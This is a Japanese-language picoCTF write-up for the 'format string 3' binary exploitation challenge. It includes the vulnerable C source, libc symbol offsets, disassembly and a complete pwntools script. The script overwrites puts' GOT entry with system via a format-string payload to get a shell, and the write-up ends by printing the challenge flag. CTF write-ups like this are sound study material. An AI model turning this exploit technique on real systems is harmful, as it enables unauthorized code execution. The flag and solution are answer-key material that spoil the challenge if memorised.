format string 3 (Binary Exploitation)
This program doesn't contain a win function. How can you win?
Download the binary here.
Download the source here.
Download libc here, download the interpreter here. Run the binary with these two files present in the same directory.
Connect with the challenge instance here: nc rhea.picoctf.net 62604
添付ファイル
・format-string-3
・format-string-3.c
・libc.so.6
・ld-linux-x86-64.so.2
とりあえず、実行してみる。
$ nc rhea.picoctf.net 62604
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x70d1ea0353f0
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
ea193963fbad208bbe8f8701000000000000000000000000000000000782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825a0000000000000000000000000
/bin/sh
$ file format-string-3
format-string-3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=54e1c4048a725df868e9a10dc975a46e8d8e5e92, not stripped
ソースコードを見る。
#include <stdio.h>
#define MAX_STRINGS 32
char *normal_string = "/bin/sh";
void setup() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void hello() {
puts("Howdy gamers!");
printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}
int main() {
char *all_strings[MAX_STRINGS] = {NULL};
char buf[1024] = {'\0'};
setup();
hello();
fgets(buf, 1024, stdin);
printf(buf);
puts(normal_string);
return 0;
}
おそらく、Format String Atackを用いて最後のputs関数のアドレスをフラグを出力しそうな関数のアドレスに書き換えることで、フラグが出力されるようにするのであろう。libcが配布されているので、system関数のアドレスに書き換えれば、シェルが起動できてフラグを取得できそうである。
(libcについて調べていたら、Return-to-libc attackというものを見つけた。)
GOT Overwriteというらしい。
setvbufのアドレスが実行するたびに変わるため、ASLR(Address Space Layout Randomization)が有効になっていると考えられる。この場合、アドレスの下3桁(下位3nibble)は一定であるため、実行したときに出力されるsetvbufのアドレスを基準にフラグが出力される関数のアドレスを推定する。
libcを見てフラグに関係するところを探す。
$ nm -D libc.so.6
...
000000000007a3f0 W setvbuf@@GLIBC_2.2.5
...
00000000000f9a00 W sysconf@@GLIBC_2.2.5
0000000000157670 T sysctl@GLIBC_2.2.5
0000000000111c80 W sysinfo@@GLIBC_2.2.5
000000000010eef0 T syslog@@GLIBC_2.2.5
000000000004f760 W system@@GLIBC_2.2.5
000000000003f190 W sysv_signal@@GLIBC_2.2.5
0000000000104990 W tcdrain@@GLIBC_2.2.5
0000000000104a40 T tcflow@@GLIBC_2.2.5
0000000000104a60 T tcflush@@GLIBC_2.2.5
...
フラグが出力できそうな関数systemのアドレスは4f760、setvbufのアドレスは7a3f0。差分は、2ac90。
逆アセンブルしてputs関数が格納されているアドレスを確認。
4012e3: e8 b8 fd ff ff call 4010a0 <printf@plt>
4012e8: 48 8b 05 59 2d 00 00 mov rax,QWORD PTR [rip+0x2d59] # 404048 <normal_string>
4012ef: 48 89 c7 mov rdi,rax
4012f2: e8 89 fd ff ff call 401080 <puts@plt>
putsは0x401080に格納されているらしい。しかし、readelf -a format-string-3
で確認してみると、
Relocation section '.rela.plt' at offset 0x1668 contains 4 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000404018 000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000404020 000300000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0
000000404028 000400000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
000000404030 000500000007 R_X86_64_JUMP_SLO 0000000000000000 fgets@GLIBC_2.2.5 + 0
No processor specific unwind information to decode
上記のように、puts関数のアドレスは0x404018であった。
これを、setvbufのアドレスから2ac90を引いた数に書き換える。
以下、実行コード。
from pwn import *
context.log_level = "critical"
context.arch='amd64'
p = remote("rhea.picoctf.net", 62604)
def exec_fmt(payload):
p = remote('rhea.picoctf.net', 62604)
p.sendline(payload)
return p.recvall()
autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
p.recvline()
setvbuf_address = p.recvline()
#setvbuf_address = p.recvregex(b'0x*\n')
setvbuf_address = setvbuf_address[58:-1]
system_address = int(setvbuf_address, 16) - 0x2ac90
payload = fmtstr_payload(offset, {0x404018: system_address})
p.sendline(payload)
p.interactive()
実行する。
$ python solve.py
c \x8b \x80 \x01 \x00 \x00aaaabaa\x18@@$ l ls ls
Makefile
artifacts.tar.gz
flag.txt
format-string-3
format-string-3.c
ld-linux-x86-64.so.2
libc.so.6
metadata.json
profile
$ strings flag.txt
picoCTF{G07_G07?_d285a282}
フラグが得られた。
picoCTF{G07_G07?_d285a282}
references
https://github.com/Gallopsled/pwntools-tutorial/tree/master
https://zenn.dev/iwancof/articles/cf612197b00c34
https://sok1.hatenablog.com/entry/2022/01/17/050556